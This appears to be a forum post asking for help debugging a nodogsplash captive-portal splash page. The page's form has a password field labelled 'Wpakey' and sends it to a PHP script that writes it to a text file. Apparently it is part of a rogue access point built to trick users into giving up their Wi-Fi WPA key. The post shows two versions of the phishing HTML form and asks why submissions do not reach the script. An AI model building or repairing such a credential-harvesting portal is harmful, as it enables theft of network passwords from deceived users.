Alright, I tried that, and it worked fine. It saved testing123 to the text file. I also tried to upload the splash and process.php to some online free hosting just to test, and the whole thing worked fine. However, if I run nodogsplash and enter something into the textfields it doesn't save to a textfile. So I'm guessing there's something wrong with my html, like you said.
The splash looks like this right now:
<h1>Login</h1>
<br>
<h2>Wpakey:</h2>
<form action="process.php" id="login-form" method="get">
<input type="password" name="wpakey">
<input type="submit" value="Log in">
</form>
This didn't work. If I run nodogsplash and enter google.com, I am sent to the splash. When I then fill out the form and click Log In, it says www.google.com/process.php?wpakey=test123. So it somehow doesn't send to my .php file at all it seems.
I also tried this, which didn't work either (just sends me to about:blank in the browser):
<h1>Login</h1>
<br>
<h2>Wpakey:</h2>
<form action="172.16.42.1:8080/process.php" id="login-form" method="get">
<input type="password" name="wpakey">
<input type="submit" value="Log in">
</form>
What am I missing? Thanks.
Edit: Just thought I'd mention that I am not authenticated in any way yet when trying this. I thought I'd redirect to the $authtarget after running the php script.